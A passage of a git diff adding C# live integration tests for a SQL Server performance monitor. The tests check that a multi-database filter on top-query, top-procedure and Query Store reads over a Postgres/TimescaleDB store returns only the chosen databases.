+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..6408e6f7f1
--- /dev/null
+++ b/Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs
@@ -0,0 +1,625 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR1: the database filter on the three top reads (get_top_queries_by_cpu,
+/// get_top_procedures_by_cpu, get_query_store_top). Each read has an internal overload that takes a
+/// <see cref="DatabaseFilter"/>, with the list predicate (<c>$5::text[] IS NULL OR database_name = ANY($5)</c>) in every
+/// statement of every tier, so an overload call with [A, B] over a seed of A, B and C returns only A's and B's rows, one
+/// name reads as the public method does, and a <see cref="TopFill"/> refill round can never pull a row from C.
+/// The public methods still pass one name, so there is no MCP schema, dispatch or tools/list byte change.
+///
+/// <para>This class is the shared-store half (the raw tiers and Query Store's raw route, which the store's own
+/// precondition health table feeds); <see cref="TopQueriesDatabaseFilterScratchLiveTests"/> is the half that mints its own
+/// database for the hourly rollup tier and Query Store's interval-table and daily routes.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopQueriesDatabaseFilterLiveTests
+{
+    private const string A = "TopFilterA";
+    private const string B = "TopFilterB";
+    private const string C = "TopFilterC";
+    private const string WaitforText = "WAITFOR DELAY '00:00:30'";
+
+    /// <summary>The names of the databases a list of rows covers, in a stable order.</summary>
+    private static List<string> Databases(IEnumerable<string> names) => names.Distinct().OrderBy(n => n, StringComparer.Ordinal).ToList();
+
+    private static List<string> JsonDatabases(string json, string property) =>
+        Databases(JsonDocument.Parse(json).RootElement.GetProperty(property).EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!));
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    /// <summary>One query_stats row with a text of its own; <paramref name="weight"/> is its CPU and elapsed time.</summary>
+    private static Task PlantQueryAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, string tag, string text, long weight) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_stats
+                  (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                   query_text, query_text_digest, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                   delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                   min_dop, max_dop, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, 10, $12, $12, 100, 0, 0, 1, $12, 1, $12, 1, 1, 3600)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db,
+            "0xQ" + tag, "0xP" + tag, "0xS" + tag, "0xL" + tag, text, SHA256.HashData(Encoding.UTF8.GetBytes(text)), weight);
+
+    private static Task PlantProcedureAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, string name, long weight) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO procedure_stats
+                  (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                   delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, 10, $8, $8, 100, 3600)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db, name, "0xSQLH" + name, weight);
+
+    private static Task PlantQueryStoreAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, long queryId, string text, long durationUs) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_hash, query_plan_hash, query_text, execution_count, avg_duration_us, avg_cpu_time_us, last_execution_time)
+              VALUES ($1, $2, $3, $4, $5, $6, $6, $7, $8, $9, 10, $10, 800, $2)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db, queryId,
+            "0xQ" + queryId, "0xP" + queryId, text, durationUs);
+
+    private const string Cleanup =
+        "DELETE FROM query_stats WHERE server_id = {0}; DELETE FROM procedure_stats WHERE server_id = {0}; " +
+        "DELETE FROM query_store_stats WHERE server_id = {0}; DELETE FROM query_store_health WHERE server_id = {0}";
+
+    [Fact]
+    public Task TheRawTiers_AListOfDatabases_ReturnsOnlyThoseDatabases_AndOneNameReadsAsThePublicMethodDoes() =>
+        WithSharedStoreAsync("top-filter-raw-tiers", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            foreach (var (db, weight) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, "Q" + db, "SELECT " + db, weight);
+                await PlantProcedureAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, "usp_" + db, weight);
+                await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, (long)(10 + db[^1]), "SELECT qs " + db, weight * 1000);
+            }
+
+            var (start, end) = (now.AddHours(-24), now.AddMinutes(5));
+            foreach (var rollUp in new[] { false, true })
+            {
+                var queries = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(postgres, serverId, start, end, 10, Of(A, B), rollUp, 0, TopRanking.Cpu, ct);
+                Assert.Equal(RetentionTier.Raw, queries.Tier);
+                Assert.Equal([A, B], Databases(queries.Rows.Select(r => r.DatabaseName)));
+                Assert.Equal([A, B], Databases((await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 10, Of(B, A), rollUp, 0, TopRanking.Cpu, ct)).Select(r => r.DatabaseName)));
+                Assert.Equal([A, B, C], Databases((await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 10, DatabaseFilter.All, rollUp, 0, TopRanking.Cpu, ct)).Select(r => r.DatabaseName)));
+                /* One name: the public one-name method and the overload give the same page. */
+                var one = await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 10, DatabaseFilter.One(B), rollUp, 0, TopRanking.Cpu, ct);
+                var oneByName = await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 10, B, rollUp, 0, TopRanking.Cpu, ct);
+                Assert.Equal(["SELECT " + B], one.Select(r => r.QueryText));
+                Assert.Equal(one.Select(r => r.QueryHash), oneByName.Select(r => r.QueryHash));
+            }
+
+            var procedures = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(postgres, serverId, start, end, 10, Of(A, B), TopRanking.Cpu, ct);
+            Assert.Equal(RetentionTier.Raw, procedures.Tier);
+            Assert.Equal([A, B], Databases(procedures.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal([A, B, C], Databases((await DarlingDataReader.GetTopProceduresByCpuAsync(postgres, serverId, start, end, 10, DatabaseFilter.All, TopRanking.Cpu, ct)).Select(r => r.DatabaseName)));
+            Assert.Equal([B], Databases((await DarlingDataReader.GetTopProceduresByCpuAsync(postgres, serverId, start, end, 10, B, TopRanking.Cpu, ct)).Select(r => r.DatabaseName)));
+
+            var store = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, serverId, now.AddHours(-3), end, 10, Of(A, B), null, null, ct);
+            Assert.Null(store.Table);
+            Assert.Equal([A, B], Databases(store.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal([A, B, C], Databases((await DarlingDataReader.GetQueryStoreTopAsync(postgres, serverId, now.AddHours(-3), end, 10, DatabaseFilter.All, null, null, ct)).Select(r => r.DatabaseName)));
+            Assert.Equal([B], Databases((await DarlingDataReader.GetQueryStoreTopAsync(postgres, serverId, now.AddHours(-3), end, 10, B, ct)).Select(r => r.DatabaseName)));
+
+            /* The tools, end to end: the page is the top N of the chosen databases. */
+            Assert.Equal([A, B], JsonDatabases(await DarlingMcpDataTools.GetTopQueriesRanked(postgres, serverName, 24, 10, Of(A, B), false, 0, "query_hash", null, "summary", null, ct), "queries"));
+            Assert.Equal([A, B], JsonDatabases(await DarlingMcpDataTools.GetTopProceduresRanked(postgres, serverName, 24, 10, Of(A, B), null, "summary", null, ct), "procedures"));
+            Assert.Equal([A, B], JsonDatabases(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, Of(A, B), null, null, null, false, 400, ct), "queries"));
+        }, Cleanup);
+
+    /// <summary>
+    /// Twelve WAITFOR shells (six in A, six in B) outrank everything, so the first round (top + 5 = 8 candidates) sees only
+    /// shells and a refill must run. C's real groups outrank the real groups of A and B, so a refill that dropped the filter
+    /// would fill the page from C. Under the filter the page is A's and B's real groups.
+    /// </summary>
+    [Fact]
+    public Task ARefillRound_UnderTheFilter_NeverReturnsAnUnchosenDatabase() =>
+        WithSharedStoreAsync("top-filter-refill", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var tick = 0;
+            foreach (var db in new[] { A, B })
+            {
+                for (var i = 1; i <= 6; i++)
+                {
+                    tick++;
+                    await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), db, "Shell" + db + i, WaitforText, 1_000_000 - tick);
+                    await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), db, tick, WaitforText, 50_000_000 - tick);
+                }
+
+                for (var i = 1; i <= 2; i++)
+                {
+                    tick++;
+                    await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), db, "Real" + db + i, "SELECT real " + db + i, 10_000 - tick * 100);
+                    await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), db, tick, "SELECT real " + db + i, 10_000 - tick * 10);
+                }
+            }
+
+            for (var i = 1; i <= 6; i++)
+            {
+                tick++;
+                await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), C, "Real" + C + i, "SELECT real " + C + i, 500_000 - tick);
+                await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2).AddSeconds(tick), C, tick, "SELECT real " + C + i, 20_000_000 - tick);
+            }
+
+            var (start, end) = (now.AddHours(-24), now.AddMinutes(5));
+            foreach (var rollUp in new[] { false, true })
+            {
+                var rows = await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 3, Of(A, B), rollUp, 0, TopRanking.Cpu, ct);
+                Assert.True(rows.Count == 3, $"roll-up {rollUp}: {rows.Count} rows, expected 3");
+                Assert.DoesNotContain(rows, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+                Assert.Equal([A, B], Databases(rows.Select(r => r.DatabaseName)));
+                Assert.DoesNotContain(rows, r => r.DatabaseName == C);
+
+                /* Control: with no filter the same refill fills the page from C, which is what the filter has to stop. */
+                var unfiltered = await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, serverId, start, end, 3, DatabaseFilter.All, rollUp, 0, TopRanking.Cpu, ct);
+                Assert.All(unfiltered, r => Assert.Equal(C, r.DatabaseName));
+            }
+
+            var store = await DarlingDataReader.GetQueryStoreTopAsync(postgres, serverId, now.AddHours(-3), end, 3, Of(A, B), null, null, ct);
+            Assert.True(store.Count == 3, $"query store: {store.Count} rows, expected 3");
+            Assert.DoesNotContain(store, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+            Assert.Equal([A, B], Databases(store.Select(r => r.DatabaseName)));
+            var storeUnfiltered = await DarlingDataReader.GetQueryStoreTopAsync(postgres, serverId, now.AddHours(-3), end, 3, DatabaseFilter.All, null, null, ct);
+            Assert.All(storeUnfiltered, r => Assert.Equal(C, r.DatabaseName));
+        }, Cleanup);
+
+    private static Task PlantHealthAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, string actualState) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_store_health (config_id, capture_time, server_id, server_name, database_name, actual_state, desired_state, readonly_reason, current_storage_size_mb, max_storage_size_mb, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes)
+              VALUES ($1,$2,$3,$4,$5,$6,'READ_WRITE',0,50,1000,'AUTO',30,200,60)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db, actualState);
+
+    /// <summary>
+    /// Every one-name consumer on get_query_store_top's empty paths is list-aware: Query Store off in one of two chosen
+    /// databases hands back the other's rows with no precondition envelope; off in both, an empty window answers with the
+    /// precondition envelope; off in one and recording in the other stays silent (the rule is "any database in scope
+    /// recording", not a per-database verdict). The execution_type and module_name empty answers name the chosen databases
+    /// for two or more names and keep today's text for one.
+    /// </summary>
+    [Fact]
+    public Task QueryStoreTop_TheEmptyPaths_AreListAware() =>
+        WithSharedStoreAsync("top-filter-qs-precondition", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await PlantHealthAsync(connection, ct, serverId, serverName, now.AddMinutes(-10), A, "OFF");
+            await PlantHealthAsync(connection, ct, serverId, serverName, now.AddMinutes(-10), B, "READ_WRITE");
+            await PlantHealthAsync(connection, ct, serverId, serverName, now.AddMinutes(-10), C, "OFF");
+            await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2), B, 7, "SELECT qs " + B, 5_000);
+
+            /* Off in A, on in B: B's rows come back, with no precondition envelope. */
+            var rows = await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, Of(A, B), null, null, null, false, 400, ct);
+            Assert.Equal([B], JsonDatabases(rows, "queries"));
+            Assert.False(JsonDocument.Parse(rows).RootElement.TryGetProperty("status", out var rowsStatus) && rowsStatus.GetString() == "precondition");
+
+            /* Off in both A and C, nothing recorded for them in the window: the precondition envelope. */
+            var offBoth = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, Of(A, C), null, null, null, false, 400, ct)).RootElement;
+            Assert.Equal("precondition", offBoth.GetProperty("status").GetString());
+            Assert.Contains("Query Store is not enabled", offBoth.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* Only A is in the snapshot, and A is off: the envelope. Once a database in scope records, the envelope is silent. */
+            var onlyOff = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 1, 10, Of(A, "TopFilterNoRows"), null, null, null, false, 400, ct)).RootElement;
+            Assert.Equal("precondition", onlyOff.GetProperty("status").GetString());
+            await PlantHealthAsync(connection, ct, serverId, serverName, now.AddMinutes(-10), "TopFilterNoRows", "READ_WRITE");
+            var anyRecording = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 1, 10, Of(A, "TopFilterNoRows"), null, null, null, false, 400, ct)).RootElement;
+            Assert.NotEqual("precondition", anyRecording.GetProperty("status").GetString());
+
+            /* The execution_type empty answer: B has Regular rows only. */
+            var two = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, Of(A, B), null, "Aborted", null, false, 400, ct)).RootElement;
+            Assert.Equal("empty", two.GetProperty("status").GetString());
+            Assert.Contains("No Aborted executions for the chosen databases in the 3-hour window", two.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var one = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, DatabaseFilter.One(B), null, "Aborted", null, false, 400, ct)).RootElement;
+            Assert.Contains("No Aborted executions in database '" + B + "' in the 3-hour window", one.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal(one.GetProperty("message").GetString(),
+                JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, B, null, "Aborted", null, false, 400, ct)).RootElement.GetProperty("message").GetString());
+
+            /* The module_name empty answer, the same two phrasings. */
+            var moduleTwo = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, Of(A, B), null, null, "dbo.usp_Missing", false, 400, ct)).RootElement;
+            Assert.Contains("matched module_name 'dbo.usp_Missing' for the chosen databases in the 3-hour window", moduleTwo.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var moduleOne = JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(postgres, serverName, 3, 10, DatabaseFilter.One(B), null, null, "dbo.usp_Missing", false, 400, ct)).RootElement;
+            Assert.Contains("matched module_name 'dbo.usp_Missing' in database '" + B + "' in the 3-hour window", moduleOne.GetProperty("message").GetString(), StringComparison.Ordinal);
+        }, Cleanup);
+
+    /// <summary>The statement text pins: every pass of every tier carries the list predicate, and none keeps the one-name shape.</summary>
+    [Theory]
+    [InlineData(nameof(DarlingDataReader.TopQueriesSql), 2)]
+    [InlineData(nameof(DarlingDataReader.TopQueriesByHostObjectSql), 2)]
+    [InlineData(nameof(DarlingDataReader.TopQueriesHourlySql), 1)]
+    [InlineData(nameof(DarlingDataReader.TopProceduresSql), 2)]
+    [InlineData(nameof(DarlingDataReader.TopProceduresHourlySql), 1)]
+    public void EveryStatement_CarriesTheListPredicate_InEveryPass(string statement, int passes)
+    {
+        var sql = (string)typeof(DarlingDataReader).GetField(statement, System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static)!.GetValue(null)!;
+        Assert.DoesNotContain("$5::text IS NULL", sql, StringComparison.Ordinal);
+        Assert.Equal(passes, System.Text.RegularExpressions.Regex.Matches(sql, System.Text.RegularExpressions.Regex.Escape("($5::text[] IS NULL OR database_name = ANY($5))")).Count);
+    }
+
+    [Fact]
+    public void TheQueryStoreStatements_CarryTheListPredicate_OnEveryRoute()
+    {
+        foreach (var (name, sql) in new[]
+        {
+            ("QueryStoreTopSql", DarlingDataReader.QueryStoreTopSql),
+            ("QueryStoreTopTableSql", DarlingDataReader.QueryStoreTopTableSql),
+            ("QueryStoreTopDailyTableSql", DarlingDataReader.QueryStoreTopDailyTableSql),
+        })
+        {
+            Assert.DoesNotContain("$5::text IS NULL", sql, StringComparison.Ordinal);
+            Assert.True(
+                System.Text.RegularExpressions.Regex.Matches(sql, System.Text.RegularExpressions.Regex.Escape("($5::text[] IS NULL OR database_name = ANY($5))")).Count >= 1,
+                name + " must carry the list predicate");
+        }
+
+        Assert.Contains("($2::text[] IS NULL OR database_name = ANY($2))", DarlingRuntimePrecondition.LatestQueryStoreStatesSql, StringComparison.Ordinal);
+    }
+
+    private static async Task WithSharedStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live top-reads database filter tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres for every test and never touches
+   another test's rows, so it is deliberately NOT [Collection("live-postgres")] (it also stops the scratch database's
+   TimescaleDB background workers, which the shared store must never inherit). */
+
+/// <summary>
+/// #5245: the other half of <see cref="TopQueriesDatabaseFilterLiveTests"/>: the hourly rollup tier of the queries and
+/// procedures reads (a TimescaleDB scratch store; the raw rows are purged after the rollup refreshes, so the router reads
+/// the rollup), and get_query_store_top's interval-table route and daily-summary route.
+/// </summary>
+public sealed class TopQueriesDatabaseFilterScratchLiveTests
+{
+    private const int ServerId = -943852;
+    private const string ServerName = "a5245-top-filter-hourly";
+    private const string A = "TopFilterA";
+    private const string B = "TopFilterB";
+    private const string C = "TopFilterC";
+
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime SurvivorAt = WindowStart.AddHours(5);
+
+    private static List<string> Databases(IEnumerable<string> names) => names.Distinct().OrderBy(n => n, StringComparer.Ordinal).ToList();
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    [Fact]
+    public async Task TheHourlyTier_AListOfDatabases_ReturnsOnlyThoseDatabases_ForQueriesAndProcedures()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hourly database filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live hourly database filter test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* C is the hottest, so an unfiltered hourly read would put it first. */
+            var windowEnd = WindowStart.AddDays(1);
+            var at = WindowStart.AddHours(1);
+            foreach (var (db, weight) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                at = at.AddMinutes(10);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, $6, $7, 10, $8, $8, 100, 1000, 3600)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "0xQ" + db, "0xSQLH" + db, weight);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, 10, $8, $8, 100, 1000, 3600)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "usp_" + db, "0xSQLH" + db, weight);
+            }
+
+            /* A survivor in raw keeps the raw floor later than the window start, so the router sends the read to the rollup. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, '0xQSURV', '0xSQLHSURV', 1, 1000, 1000, 7, 1000, 3600)",
+                CollectionIdGenerator.Next(), SurvivorAt, ServerId, ServerName, A);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_SURV', '0xSQLHSURV', 1, 1000, 1000, 7, 1000, 3600)",
+                CollectionIdGenerator.Next(), SurvivorAt, ServerId, ServerName, A);
+
+            foreach (var view in new[] { TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView })
+            {
+                await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+                refresh.Parameters.AddWithValue(WindowStart);
+                refresh.Parameters.AddWithValue(windowEnd.AddHours(1));
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var table in new[] { "collect.query_stats", "collect.procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(WindowStart.AddHours(3));
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var hourly = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            var all = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, DatabaseFilter.All, ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.True(all.Tier == RetentionTier.Hourly, $"queries: expected the hourly tier but read {all.Tier}");
+            Assert.Equal([A, B, C], Databases(all.Rows.Select(r => r.DatabaseName)));
+
+            var two = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, Of(A, B), ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Hourly, two.Tier);
+            Assert.Equal([A, B], Databases(two.Rows.Select(r => r.DatabaseName)));
+            Assert.DoesNotContain(two.Rows, r => r.QueryHash == "0xQ" + C);
+
+            var one = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, B, ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.Equal([B], Databases(one.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal(one.Rows.Select(r => r.QueryHash),
+                (await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, DatabaseFilter.One(B), ranking: TopRanking.Cpu, cancellationToken: ct)).Rows.Select(r => r.QueryHash));
+
+            var procedures = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, Of(A, B), TopRanking.Cpu, ct);
+            Assert.True(procedures.Tier == RetentionTier.Hourly, $"procedures: expected the hourly tier but read {procedures.Tier}");
+            Assert.Equal([A, B], Databases(procedures.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal([A, B, C], Databases((await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 10, DatabaseFilter.All, TopRanking.Cpu, ct)).Rows.Select(r => r.DatabaseName)));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+
+    /// <summary>
+    /// The hourly route's refill (#5313 with #5245): twelve WAITFOR shells (six in A, six in B) outrank every real group, so
+    /// round one (top + 5 = 8 candidates) holds only shells and TopFill asks again with a larger candidate limit. C's real
+    /// groups outrank the real groups of A and B, so a refill round that dropped the filter would fill the page from C.
+    /// Every round of the hourly statement binds the list ($5), so the page is A's and B's real groups; the unfiltered
+    /// control shows the same refill filling the page from C, which is what the filter has to stop.
+    /// </summary>
